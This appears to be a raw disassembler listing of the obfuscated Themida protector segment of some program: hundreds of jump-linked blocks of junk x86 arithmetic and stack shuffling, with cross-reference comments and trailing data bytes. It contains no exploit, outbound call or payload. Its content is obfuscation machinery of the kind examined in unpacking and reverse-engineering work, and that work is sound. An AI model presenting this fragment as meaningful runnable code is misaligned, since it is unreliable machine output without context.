loc_5AEEE5: ; CODE XREF: Themida_:00599BAEj
add eax, edx
add eax, 34D22E95h
jmp loc_5AF2D4
; ---------------------------------------------------------------------------
loc_5AEEF1: ; CODE XREF: Themida_:005994D0j
; Themida_:loc_5AA00Fj
and ebx, 0E02D7Dh
jnp loc_59E63C
dec ebx
jg loc_5A7712
sub ah, 9Ch
push ecx
loc_5AEF08: ; CODE XREF: Themida_:005AD05Ej
; Themida_:005AEA5Aj
jp loc_5A4636
push eax
not byte ptr [esp+1]
pop eax
neg ah
jmp loc_5A3093
; ---------------------------------------------------------------------------
loc_5AEF1B: ; CODE XREF: Themida_:005A9A19j
sub edx, 167173Dh
jmp loc_5AD14C
; ---------------------------------------------------------------------------
loc_5AEF26: ; CODE XREF: Themida_:005A613Cj
pop ebx
add edx, edi
pop edi
xchg edx, [esp]
pop esp
push 1C66h
mov [esp], ecx
mov ecx, esp
jmp loc_5AF6B1
; ---------------------------------------------------------------------------
loc_5AEF3D: ; CODE XREF: Themida_:loc_59C5A6j
inc ecx
jle loc_5A75A4
sub ecx, 0B74A92D7h
mov esi, ecx
mov esi, edi
loc_5AEF4E: ; CODE XREF: Themida_:0059BA9Bj
xchg ah, dh
not ah
jmp loc_5A0DA8
; ---------------------------------------------------------------------------
loc_5AEF57: ; CODE XREF: Themida_:005AA3CFj
shr ebp, 5
push edx
mov edx, 3A91247Ah
add edx, 65374DAEh
sub edx, 4DF508CDh
jmp loc_59DFB5
; ---------------------------------------------------------------------------
loc_5AEF71: ; CODE XREF: Themida_:005A6044j
; Themida_:005A7E13j
xor edi, 0B9677546h
add esi, 57F54D20h
add esi, edi
sub esi, 57F54D20h
pop edi
add esi, 4
xor esi, [esp]
xor [esp], esi
jmp loc_5A9989
; ---------------------------------------------------------------------------
loc_5AEF94: ; CODE XREF: Themida_:005ADF1Ej
movzx ax, byte ptr fs:[edx]
push edi
push 764Ch
mov [esp], esp
jmp loc_5A0022
; ---------------------------------------------------------------------------
loc_5AEFA7: ; CODE XREF: Themida_:005AF725j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push eax
jmp loc_5A00AB
; ---------------------------------------------------------------------------
loc_5AEFB8: ; CODE XREF: Themida_:005A90C6j
push ebx
jmp loc_5A8269
; ---------------------------------------------------------------------------
loc_5AEFBE: ; CODE XREF: Themida_:00599AA5j
push ecx
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp]
pop esp
or eax, eax
jz loc_5ABE60
push ecx
push 3B25h
jmp loc_5A05FD
; ---------------------------------------------------------------------------
loc_5AEFDE: ; CODE XREF: Themida_:0059B850j
xchg edx, [esp]
mov esp, [esp]
jmp loc_599D71
; ---------------------------------------------------------------------------
loc_5AEFE9: ; CODE XREF: Themida_:005A7CAFj
mov cl, 2Ah
sub al, cl
pop cx
jmp loc_59D6C9
; ---------------------------------------------------------------------------
loc_5AEFF4: ; CODE XREF: Themida_:005A8A7Aj
; Themida_:005ADA45j
pop ebx
add ecx, edi
pop edi
sub esp, 4
mov [esp], eax
mov eax, 4
add ecx, eax
push dword ptr [esp]
jmp loc_5A87B6
; ---------------------------------------------------------------------------
loc_5AF010: ; DATA XREF: Themida_:005986E0o
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 148Dh
mov [esp], ebx
push esp
pop ebx
sub esp, 4
jmp loc_5A75B8
; ---------------------------------------------------------------------------
loc_5AF02E: ; CODE XREF: Themida_:0059CA8Cj
mov [esp], edi
push ebx
push edx
mov edx, 21B33B31h
jmp loc_5A6C96
; ---------------------------------------------------------------------------
loc_5AF03D: ; CODE XREF: Themida_:005AF203j
push 16CCh
mov [esp], ebx
mov bl, 59h
neg bl
xor bl, 39h
shr bl, 8
xor bl, 0ACh
sub al, 56h
add al, bl
jmp loc_5A6DA5
; ---------------------------------------------------------------------------
loc_5AF05B: ; CODE XREF: Themida_:005AE383j
mov edx, [esp]
add esp, 4
push edx
mov edx, 0E17895F3h
add eax, edx
pop edx
add edi, 42963D04h
add edi, eax
sub edi, 42963D04h
pop eax
add edi, 2
xchg edi, [esp]
mov esp, [esp]
or [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AF08E: ; CODE XREF: Themida_:00598E21j
shl ah, 6
jmp loc_599620
; ---------------------------------------------------------------------------
loc_5AF096: ; CODE XREF: Themida_:005AA3ABj
and esi, 11A914F8h
jmp loc_5A04FE
; ---------------------------------------------------------------------------
loc_5AF0A1: ; CODE XREF: Themida_:005A7475j
add ebx, ebp
sub ebx, 214A5A67h
pop ebp
jmp loc_5A547D
; ---------------------------------------------------------------------------
loc_5AF0AF: ; CODE XREF: Themida_:005A7099j
mov ebx, eax
mov edx, ebx
pop ebx
pop eax
sub ebx, edx
mov edx, [esp]
jmp loc_5A38B8
; ---------------------------------------------------------------------------
loc_5AF0BF: ; CODE XREF: Themida_:005AC97Ej
add ebx, 26680828h
jb loc_59DE4D
sub ebx, 86423A4Fh
mov ebp, ebx
pop ebx
add eax, 0C8D0DE4h
add eax, 46ED1A0Ah
jmp loc_5A6DE8
; ---------------------------------------------------------------------------
loc_5AF0E3: ; CODE XREF: Themida_:005A7AECj
mov ebx, 56143A45h
dec ebx
jmp loc_59B002
; ---------------------------------------------------------------------------
loc_5AF0EE: ; CODE XREF: Themida_:0059E2DCj
or edx, eax
jmp loc_598DF3
; ---------------------------------------------------------------------------
loc_5AF0F5: ; CODE XREF: Themida_:0059A947j
pop edi
neg ebx
push esi
mov esi, 2A37689Dh
xor esi, 4F1A0523h
push ecx
mov ecx, 377D4330h
sub esi, 64026243h
add esi, 69493C39h
sub esi, ecx
push ebp
mov ebp, 9E2CEFh
not ebp
xor ebp, 3B8873B3h
not ebp
jmp loc_5AC4B9
; ---------------------------------------------------------------------------
loc_5AF12D: ; CODE XREF: Themida_:0059F8FBj
add edx, 0F874C989h
xor ebp, edx
pop edx
jmp loc_5AB837
; ---------------------------------------------------------------------------
loc_5AF13B: ; CODE XREF: Themida_:00598F37j
add al, dh
jmp loc_59C901
; ---------------------------------------------------------------------------
loc_5AF142: ; CODE XREF: Themida_:005ACCE7j
mov cl, 33h
neg cl
not cl
jmp loc_5A3916
; ---------------------------------------------------------------------------
loc_5AF14D: ; CODE XREF: Themida_:loc_5A23A5j
xor ecx, 9CE96EF3h
neg ecx
jmp loc_5AB026
; ---------------------------------------------------------------------------
loc_5AF15A: ; CODE XREF: Themida_:005A0FD6j
push esp
mov eax, [esp]
add esp, 4
add eax, 4
push ecx
jmp loc_5A3388
; ---------------------------------------------------------------------------
loc_5AF16F: ; CODE XREF: Themida_:005AA86Aj
pop eax
jmp loc_5ABE72
; ---------------------------------------------------------------------------
loc_5AF175: ; CODE XREF: Themida_:005AE3D8j
mov esi, 7E4C74B5h
sub esi, 0D583789h
add esi, 0F2F8C997h
jmp loc_59B949
; ---------------------------------------------------------------------------
loc_5AF18B: ; CODE XREF: Themida_:0059DE48j
dec ebx
add ebx, 534BD2BBh
add edx, ebx
pop ebx
mov edi, edx
pop edx
add ebx, 429D647Bh
sub ebx, edi
sub ebx, 429D647Bh
jmp loc_5A2550
; ---------------------------------------------------------------------------
loc_5AF1AB: ; CODE XREF: Themida_:005A4D83j
add esi, 4
xchg esi, [esp]
jmp loc_5A7681
; ---------------------------------------------------------------------------
loc_5AF1B9: ; CODE XREF: Themida_:005AB931j
push 124Dh
mov [esp], ebx
jmp loc_5A26E5
; ---------------------------------------------------------------------------
loc_5AF1C6: ; CODE XREF: Themida_:005A05CDj
not ecx
xchg eax, ecx
xor eax, 16396459h
jmp loc_5AFBF9
; ---------------------------------------------------------------------------
loc_5AF1D3: ; CODE XREF: Themida_:005992C7j
mov [esp], ebx
push 24h
jmp loc_5996DA
; ---------------------------------------------------------------------------
loc_5AF1E0: ; CODE XREF: Themida_:0059BF18j
pop edx
jmp loc_5A097C
; ---------------------------------------------------------------------------
loc_5AF1E6: ; CODE XREF: Themida_:00598D7Aj
mov esi, [esp]
push ebx
jmp loc_5AE079
; ---------------------------------------------------------------------------
loc_5AF1EF: ; CODE XREF: Themida_:0059AE03j
sub ebp, ecx
push dword ptr [esp]
jmp loc_5A2270
; ---------------------------------------------------------------------------
loc_5AF1F9: ; CODE XREF: Themida_:005A4D68j
push edx
mov dl, 0BEh
sub al, 52h
add al, dl
add al, 52h
pop edx
jmp loc_5AF03D
; ---------------------------------------------------------------------------
loc_5AF208: ; CODE XREF: Themida_:00599260j
; Themida_:005AF5FAj
add esi, eax
jmp loc_599915
; ---------------------------------------------------------------------------
loc_5AF20F: ; CODE XREF: Themida_:005ACAD2j
mov edx, eax
mov eax, [esp]
add esp, 4
sub esi, 62204C5Ch
add esi, edx
push ebp
mov ebp, 311A231Ah
sub ebp, 0CEF9D6BEh
add esi, ebp
mov ebp, [esp]
add esp, 4
pop edx
sub esp, 4
mov [esp], edx
mov edx, 4
push ebp
mov ebp, 24FE7F98h
add esi, ebp
pop ebp
sub esi, edx
sub esi, 24FE7F98h
mov edx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5AA032
; ---------------------------------------------------------------------------
loc_5AF267: ; CODE XREF: Themida_:005ADDF5j
sub bl, 0DEh
pop ecx
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
sub esp, 4
jmp loc_5A54AB
; ---------------------------------------------------------------------------
loc_5AF285: ; CODE XREF: Themida_:0059B3FBj
inc ah
push ebx
mov bh, 4Dh
and ah, bh
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
jmp loc_59C0C9
; ---------------------------------------------------------------------------
loc_5AF299: ; CODE XREF: Themida_:005A67BDj
add ebx, eax
sub ebx, 5C5B487Ch
sub ebx, 350E23FDh
jmp loc_59F5BA
; ---------------------------------------------------------------------------
loc_5AF2AC: ; CODE XREF: Themida_:loc_5A1E9Fj
inc eax
jns loc_59D5D5
jmp loc_5A0EBF
; ---------------------------------------------------------------------------
push esi
jmp loc_5AD7EF
; ---------------------------------------------------------------------------
mov eax, esi
loc_5AF2C0: ; CODE XREF: Themida_:005A7EF7j
sub eax, 0D9C350C9h
mov ebx, eax
pop eax
dec ebx
sub ebx, 4A8742F2h
jmp loc_5A8BDD
; ---------------------------------------------------------------------------
loc_5AF2D4: ; CODE XREF: Themida_:005AEEECj
sub eax, 296660F0h
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_5AA8A0
; ---------------------------------------------------------------------------
loc_5AF2E4: ; CODE XREF: Themida_:loc_59F1DFj
; Themida_:005AED0Ej
mov [esp], esi
mov esi, 2951313Ah
push esi
not dword ptr [esp]
pop esi
sub esi, 45075EF7h
jmp loc_5A5BB7
; ---------------------------------------------------------------------------
loc_5AF2FC: ; CODE XREF: Themida_:005AB722j
sub esi, 425445DBh
pop ebp
push ebp
push 54F5348Ah
pop ebp
sub ebp, 0FFFFFFFFh
jmp loc_5A4863
; ---------------------------------------------------------------------------
loc_5AF312: ; CODE XREF: Themida_:005A775Fj
and ebp, 159527B9h
sub ebp, 0C306B915h
add esi, 7A8809D3h
jmp loc_5A30E7
; ---------------------------------------------------------------------------
loc_5AF329: ; CODE XREF: Themida_:005A5047j
sub ch, bl
mov bx, [esp]
jmp loc_59AFEA
; ---------------------------------------------------------------------------
loc_5AF334: ; CODE XREF: Themida_:005ACAC8j
add edi, 0BBB7035h
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_59FC4E
; ---------------------------------------------------------------------------
loc_5AF34B: ; CODE XREF: Themida_:0059CC0Dj
pop edx
pop eax
inc edx
xchg ecx, edx
jmp loc_5AD2FA
; ---------------------------------------------------------------------------
loc_5AF355: ; CODE XREF: Themida_:0059FC3Ej
push eax
mov eax, 69AD2CCDh
jmp loc_598D69
; ---------------------------------------------------------------------------
loc_5AF360: ; CODE XREF: Themida_:005A0580j
add ebx, 2EE0603h
jmp loc_5A6FC8
; ---------------------------------------------------------------------------
loc_5AF36B: ; CODE XREF: Themida_:005AC47Aj
neg ecx
sub ecx, 45862BC0h
dec ecx
jmp loc_5AB4DA
; ---------------------------------------------------------------------------
loc_5AF379: ; CODE XREF: Themida_:005A136Bj
push eax
push 7D27h
mov [esp], edx
mov eax, [esp]
push ecx
push eax
mov eax, esp
jmp loc_5A8CB2
; ---------------------------------------------------------------------------
loc_5AF38E: ; CODE XREF: Themida_:0059E293j
xchg esi, [esp]
pop esp
add ecx, edx
jmp loc_59D28E
; ---------------------------------------------------------------------------
loc_5AF399: ; CODE XREF: Themida_:0059F793j
dec dl
jmp loc_5ADD2B
; ---------------------------------------------------------------------------
loc_5AF3A0: ; CODE XREF: Themida_:loc_5ABA9Dj
dec ebx
jno loc_5A750C
or ebx, 2B3D7309h
jmp loc_5A1F12
; ---------------------------------------------------------------------------
db 59h
off_5AF3B3 dd offset dword_49005C+2370Ch ; DATA XREF: Themida_:00598738o
align 4
mov [esp], ebx
mov ebx, 0FEh
jmp loc_5A1272
; ---------------------------------------------------------------------------
loc_5AF3C5: ; CODE XREF: Themida_:005ADC1Ej
push edx
push edi
sub esp, 4
jmp loc_5A83CF
; ---------------------------------------------------------------------------
loc_5AF3D2: ; CODE XREF: Themida_:loc_5A7BD6j
xor edx, 65B5EAEFh
xor esi, edx
jmp loc_5A1F68
; ---------------------------------------------------------------------------
loc_5AF3DF: ; CODE XREF: Themida_:005A23D0j
sub ebx, 4A296107h
jmp loc_598BF7
; ---------------------------------------------------------------------------
loc_5AF3EA: ; CODE XREF: Themida_:005A4DDCj
mov ecx, 4
jmp loc_59E4CD
; ---------------------------------------------------------------------------
loc_5AF3F4: ; CODE XREF: Themida_:0059D1B2j
; Themida_:005AED78j
mov edi, edx
jmp loc_5AE1B8
; ---------------------------------------------------------------------------
loc_5AF3FB: ; CODE XREF: Themida_:005AF438j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5A0972
; ---------------------------------------------------------------------------
loc_5AF41D: ; CODE XREF: Themida_:005AC494j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A428D
; ---------------------------------------------------------------------------
loc_5AF431: ; CODE XREF: Themida_:005A6628j
xchg edx, [esp]
pop esp
push ebx
mov ebx, esp
jmp loc_5AF3FB
; ---------------------------------------------------------------------------
loc_5AF43D: ; CODE XREF: Themida_:005A2B18j
xchg eax, [esp]
mov esp, [esp]
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5AD900
; ---------------------------------------------------------------------------
loc_5AF458: ; CODE XREF: Themida_:005A86F1j
sub esp, 4
mov [esp], ebp
pop edi
pop ebp
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
not dword ptr [esp]
push dword ptr [esp]
jmp loc_599140
; ---------------------------------------------------------------------------
loc_5AF48B: ; CODE XREF: Themida_:0059BA4Bj
push dword ptr [edi+eax*4]
jmp loc_59EFB5
; ---------------------------------------------------------------------------
loc_5AF493: ; CODE XREF: Themida_:005AB08Aj
mov ebp, esi
pop esi
shl ebp, 2
jp loc_5A0655
jmp loc_5A2F3C
; ---------------------------------------------------------------------------
loc_5AF4A4: ; CODE XREF: Themida_:0059C6C3j
and al, ch
mov cx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A1F8D
; ---------------------------------------------------------------------------
loc_5AF4B8: ; CODE XREF: Themida_:005A454Bj
pop eax
push ebp
jmp loc_5A345E
; ---------------------------------------------------------------------------
loc_5AF4BF: ; CODE XREF: Themida_:005AF65Bj
push dword ptr [esp]
pop edx
push 3375h
mov [esp], esi
push ebx
mov ebx, esp
jmp loc_5A0C32
; ---------------------------------------------------------------------------
loc_5AF4D3: ; CODE XREF: Themida_:0059B12Ej
shl eax, 2
jmp loc_5A202B
; ---------------------------------------------------------------------------
loc_5AF4DB: ; CODE XREF: Themida_:0059EDD9j
sub esp, 4
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
push 3620h
mov [esp], ebp
jmp loc_59D498
; ---------------------------------------------------------------------------
loc_5AF4FE: ; CODE XREF: Themida_:0059AFF8j
sub ch, 9Bh
sub ch, 0E6h
sub bl, 0B6h
jmp loc_5AABD6
; ---------------------------------------------------------------------------
loc_5AF50C: ; CODE XREF: Themida_:005AE45Fj
dec eax
jmp loc_5A2BE0
; ---------------------------------------------------------------------------
loc_5AF512: ; CODE XREF: Themida_:005AFA38j
or ebp, 420F1EF0h
jge loc_5A4F44
and ebp, 53AC06A5h
jmp loc_5AD9A0
; ---------------------------------------------------------------------------
loc_5AF529: ; DATA XREF: Themida_:005987BCo
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AF538: ; CODE XREF: Themida_:0059D51Aj
push ecx
sub esp, 4
jmp loc_5AA779
; ---------------------------------------------------------------------------
loc_5AF544: ; CODE XREF: Themida_:005A5B92j
mov esp, [esp]
div ecx
jmp loc_59F62D
; ---------------------------------------------------------------------------
loc_5AF54E: ; CODE XREF: Themida_:0059AA51j
mov [esp], ax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AF557: ; CODE XREF: Themida_:005A71FBj
; Themida_:005A7A4Bj
jns loc_5A9668
shl edi, 8
jns loc_59A0B7
mov ecx, edx
push esi
loc_5AF569: ; CODE XREF: Themida_:005ADE96j
add ebx, 18BB1CC5h
sub ebx, eax
sub ebx, 18BB1CC5h
add ebx, 3CB808B4h
sub ebx, 1B3447ACh
jmp loc_5A3C25
; ---------------------------------------------------------------------------
loc_5AF588: ; CODE XREF: Themida_:loc_59F44Cj
neg edx
jz loc_59E827
jmp loc_59A0CE
; ---------------------------------------------------------------------------
loc_5AF595: ; CODE XREF: Themida_:005AACA4j
xor [ecx], ebp
pop ecx
jmp loc_5A6D33
; ---------------------------------------------------------------------------
loc_5AF59D: ; CODE XREF: Themida_:00598C5Aj
mov ebp, 41A93F70h
jmp loc_59ED46
; ---------------------------------------------------------------------------
loc_5AF5A7: ; CODE XREF: Themida_:00599815j
pop eax
mov dh, 80h
add dh, bh
mov ebx, [esp]
add esp, 4
add bl, 1Fh
sub bl, dh
jmp loc_5AAE72
; ---------------------------------------------------------------------------
loc_5AF5BC: ; DATA XREF: Themida_:005986ECo
lodsb
push cx
push eax
jmp loc_5A22B5
; ---------------------------------------------------------------------------
loc_5AF5C5: ; CODE XREF: Themida_:005AD656j
add edi, 7DFC093Dh
xor edi, 76EB798Dh
inc edi
jmp loc_5A0545
; ---------------------------------------------------------------------------
loc_5AF5D7: ; CODE XREF: Themida_:005A975Ej
mov dl, 67h
jmp loc_59C692
; ---------------------------------------------------------------------------
loc_5AF5DE: ; CODE XREF: Themida_:0059E8B7j
add ecx, eax
jmp loc_5A3B44
; ---------------------------------------------------------------------------
loc_5AF5E5: ; CODE XREF: Themida_:005A5C6Ej
pop esp
xor [esp], al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AF5EF: ; CODE XREF: Themida_:005AE7A1j
mov eax, 2
add esi, 7DC51205h
jmp loc_5AF208
; ---------------------------------------------------------------------------
loc_5AF5FF: ; CODE XREF: Themida_:005A0F86j
add esp, 4
xor ebx, eax
push ecx
jmp loc_59FE89
; ---------------------------------------------------------------------------
loc_5AF60A: ; CODE XREF: Themida_:005AE141j
shr dh, 2
and dh, 3Dh
inc dh
dec dh
jmp loc_5A9273
; ---------------------------------------------------------------------------
loc_5AF619: ; CODE XREF: Themida_:0059901Fj
push eax
mov eax, esp
jmp loc_59E71F
; ---------------------------------------------------------------------------
loc_5AF621: ; CODE XREF: Themida_:005AB9DEj
push ecx
mov ecx, 4E77E6Eh
jmp loc_5A1943
; ---------------------------------------------------------------------------
loc_5AF62C: ; CODE XREF: Themida_:005A2224j
; Themida_:005A6CBCj
add ecx, esi
pop esi
sub esi, 37E95517h
sub esi, 843769Eh
add esi, ecx
jmp loc_5A9896
; ---------------------------------------------------------------------------
loc_5AF642: ; CODE XREF: Themida_:0059E308j
add ecx, 31422D66h
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_5AF4BF
; ---------------------------------------------------------------------------
loc_5AF660: ; CODE XREF: Themida_:0059F2FAj
push 727Ch
mov [esp], eax
jmp loc_5A805A
; ---------------------------------------------------------------------------
push esp
push dword ptr [esp]
mov edx, [esp]
push edx
mov edx, esp
sub esp, 4
mov [esp], ecx
push 623Ah
jmp loc_5A569B
; ---------------------------------------------------------------------------
loc_5AF68A: ; CODE XREF: Themida_:005AB928j
pop edx
add esp, 4
jmp loc_5ABC16
; ---------------------------------------------------------------------------
loc_5AF696: ; CODE XREF: Themida_:005ABF65j
jmp loc_5ADE3C
; ---------------------------------------------------------------------------
loc_5AF69B: ; CODE XREF: Themida_:005AEA19j
mov ecx, 4
sub ebp, 66A13FE1h
sub ebp, 43396CCCh
jmp loc_5A4CE6
; ---------------------------------------------------------------------------
loc_5AF6B1: ; CODE XREF: Themida_:005AEF38j
add ecx, 4
jmp loc_5A941D
; ---------------------------------------------------------------------------
loc_5AF6BC: ; CODE XREF: Themida_:005A9D05j
pop edx
add ecx, 2
xor ecx, [esp]
jmp loc_5998A7
; ---------------------------------------------------------------------------
loc_5AF6C8: ; CODE XREF: Themida_:005AA2A0j
add esp, 4
jmp loc_59EA17
; ---------------------------------------------------------------------------
loc_5AF6D0: ; CODE XREF: Themida_:005ACE8Bj
mov [esp], esi
jmp loc_5A5378
; ---------------------------------------------------------------------------
loc_5AF6D8: ; CODE XREF: Themida_:0059B11Cj
sub edx, 69034C38h
jmp loc_5AA7FE
; ---------------------------------------------------------------------------
loc_5AF6E3: ; CODE XREF: Themida_:00598E72j
; Themida_:005A6F4Fj
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
and ebx, ebp
mov ebp, [esp]
jmp loc_5A5B9D
; ---------------------------------------------------------------------------
loc_5AF6F7: ; CODE XREF: Themida_:005A4271j
pop ebp
xor edx, 72926D7h
or edx, 0C775F9Ah
push edi
mov edi, 5F574A1Bh
or edx, edi
pop edi
add edx, 0BF2CC0B8h
mov eax, edx
pop edx
sub [esp+4], eax
pop eax
push dword ptr [esp]
pop eax
push ebx
push 354Dh
jmp loc_5AEFA7
; ---------------------------------------------------------------------------
loc_5AF72A: ; CODE XREF: Themida_:005A20B6j
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push ebp
mov ebp, 57D80383h
shl ebp, 8
add ebp, 87FD98D9h
mov edi, ebp
mov ebp, [esp]
jmp loc_5AA4AF
; ---------------------------------------------------------------------------
loc_5AF753: ; CODE XREF: Themida_:005A314Bj
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
shl dword ptr [esp], cl
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AF768: ; CODE XREF: Themida_:005ACEDEj
; Themida_:005AE7BAj
push ecx
jmp loc_598F2E
; ---------------------------------------------------------------------------
loc_5AF76E: ; CODE XREF: Themida_:005A11FAj
; Themida_:005AF893j
jnp loc_5AA021
xor edi, 398B7D17h
jmp loc_5A31BF
; ---------------------------------------------------------------------------
loc_5AF77F: ; CODE XREF: Themida_:005A01B5j
add eax, 5F1C159Eh
mov ebx, eax
mov eax, [esp]
add esp, 4
sub edx, ebx
pop ebx
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_59938B
; ---------------------------------------------------------------------------
loc_5AF79E: ; CODE XREF: Themida_:loc_5A764Ej
not ecx
jmp loc_59CC03
; ---------------------------------------------------------------------------
loc_5AF7A5: ; DATA XREF: Themida_:005987ECo
mov cx, [esp]
push 215h
mov [esp], ebx
jmp loc_5AD8ED
; ---------------------------------------------------------------------------
loc_5AF7B6: ; CODE XREF: Themida_:005A1044j
mov [esp], edi
push esp
pop edi
sub esp, 4
mov [esp], ebp
push ebx
push edx
push 739D4003h
jmp loc_59AD61
; ---------------------------------------------------------------------------
loc_5AF7D0: ; CODE XREF: Themida_:0059A683j
; Themida_:loc_5A5C57j
add edi, 4
xchg edi, [esp]
jmp loc_5A87F0
; ---------------------------------------------------------------------------
loc_5AF7DB: ; CODE XREF: Themida_:005AAFB0j
push ebp
mov ebp, 2
add eax, ebp
jmp loc_59D86A
; ---------------------------------------------------------------------------
loc_5AF7E8: ; CODE XREF: Themida_:0059A260j
add esp, 4
push eax
push esp
pop eax
push ecx
jmp loc_5A3729
; ---------------------------------------------------------------------------
loc_5AF7F7: ; CODE XREF: Themida_:005A71A7j
mov [esp], ebp
push 6EDBh
mov [esp], edx
mov edx, 3E6C6011h
push ecx
push 5FE3CE0h
pop ecx
dec ecx
jl loc_59F0F9
jmp loc_5A9B57
; ---------------------------------------------------------------------------
loc_5AF81A: ; CODE XREF: Themida_:005AAE84j
mov dh, 0E8h
mov ah, dh
jmp loc_5AD24C
; ---------------------------------------------------------------------------
loc_5AF823: ; CODE XREF: Themida_:0059B8D3j
sub edi, 5D9A683Ch
add edi, ecx
add edi, 5D9A683Ch
pop ecx
jmp loc_5A9ADA
; ---------------------------------------------------------------------------
loc_5AF837: ; CODE XREF: Themida_:0059EF82j
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
push ecx
jmp loc_59DDBB
; ---------------------------------------------------------------------------
loc_5AF846: ; CODE XREF: Themida_:005A3823j
sub esp, 4
mov [esp], ecx
push eax
mov ah, 57h
dec ah
jmp loc_5A7CB4
; ---------------------------------------------------------------------------
loc_5AF859: ; CODE XREF: Themida_:005A4C45j
mov [esp], ecx
mov ecx, 3F133A1Eh
jmp loc_59DA29
; ---------------------------------------------------------------------------
loc_5AF866: ; CODE XREF: Themida_:005ACE15j
mov [esp], esp
jmp loc_5A5DF1
; ---------------------------------------------------------------------------
loc_5AF86E: ; CODE XREF: Themida_:005A2754j
shl ecx, 2
shl ecx, 7
add ecx, 1
push ebx
sub esp, 4
mov [esp], eax
push 128D3EFCh
pop eax
jmp loc_59CF76
; ---------------------------------------------------------------------------
loc_5AF88C: ; CODE XREF: Themida_:loc_5A01E9j
xor ebp, 4E0F5DDEh
inc ebp
jmp loc_5AF76E
; ---------------------------------------------------------------------------
loc_5AF898: ; CODE XREF: Themida_:0059FF6Dj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push edx
push eax
mov eax, 6A9E2877h
mov edx, eax
pop eax
mov eax, 6A9E287Bh
add eax, 53B043BAh
jmp loc_5AE5AE
; ---------------------------------------------------------------------------
loc_5AF8BE: ; CODE XREF: Themida_:005A1BC2j
push 5AE1h
mov [esp], edi
jmp loc_5AAD79
; ---------------------------------------------------------------------------
loc_5AF8CB: ; CODE XREF: Themida_:005AB64Cj
add esp, 4
push 594Fh
jmp loc_5A734F
; ---------------------------------------------------------------------------
loc_5AF8DB: ; CODE XREF: Themida_:005A784Dj
add ebx, edx
jmp loc_5AC641
; ---------------------------------------------------------------------------
loc_5AF8E2: ; CODE XREF: Themida_:005A8574j
; Themida_:005A8A84j
add esp, 4
xchg esi, [esp]
pop esp
push ecx
mov ecx, 0E0042A1h
inc ecx
add ecx, 4D383939h
jmp loc_5ACAC0
; ---------------------------------------------------------------------------
loc_5AF8FB: ; CODE XREF: Themida_:005A9D69j
pop esp
push edi
push 4
jmp loc_5ABB2E
; ---------------------------------------------------------------------------
loc_5AF907: ; CODE XREF: Themida_:005A471Bj
mov ebx, 47AF0236h
jmp loc_5A95F4
; ---------------------------------------------------------------------------
loc_5AF911: ; CODE XREF: Themida_:0059AE0Fj
add edx, edi
add edx, 94A08EBh
push 92Eh
mov [esp], ecx
push 3EF500B9h
jmp loc_5A6E38
; ---------------------------------------------------------------------------
loc_5AF92B: ; CODE XREF: Themida_:005A9DDDj
add esi, 6AB21CF3h
jmp loc_5A0F8B
; ---------------------------------------------------------------------------
loc_5AF936: ; CODE XREF: Themida_:005A7B24j
dec bl
js loc_5A1B84
sub bl, 43h
and dh, bl
mov bx, [esp]
add esp, 2
push 2A36h
mov [esp], edx
not byte ptr [esp+1]
pop edx
jmp loc_5AC95E
; ---------------------------------------------------------------------------
loc_5AF95C: ; CODE XREF: Themida_:0059E74Aj
inc ebp
jmp loc_59EA6D
; ---------------------------------------------------------------------------
loc_5AF962: ; CODE XREF: Themida_:005A5DA4j
pop si
push edi
mov di, 2928h
shl di, 3
jmp loc_59F8E8
; ---------------------------------------------------------------------------
loc_5AF972: ; CODE XREF: Themida_:005A0421j
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A5A98
; ---------------------------------------------------------------------------
loc_5AF98C: ; CODE XREF: Themida_:005ABBB6j
push ebp
mov ebp, 6A112506h
shr ebp, 3
xor ebp, 69C97AA1h
dec ebp
xor ebp, 93856E84h
sub ebx, ebp
pop ebp
or edi, ebx
pop ebx
jmp loc_5A8AF7
; ---------------------------------------------------------------------------
loc_5AF9AD: ; CODE XREF: Themida_:0059E318j
add ecx, 25D21BF5h
add ecx, 0D6DDF7EAh
mov edi, ecx
pop ecx
sub ebp, 6D307666h
add ebp, edi
add ebp, 6D307666h
pop edi
jmp loc_5A44D7
; ---------------------------------------------------------------------------
loc_5AF9D0: ; DATA XREF: Themida_:005987D0o
mov eax, [esp]
jmp loc_5A10A8
; ---------------------------------------------------------------------------
loc_5AF9D8: ; CODE XREF: Themida_:0059D79Dj
jmp loc_5A4A94
; ---------------------------------------------------------------------------
byte_5AF9DD db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00598724o
dd 4EC8124h, 89000000h, 7DE9243Ch
db 81h, 2 dup(0FFh)
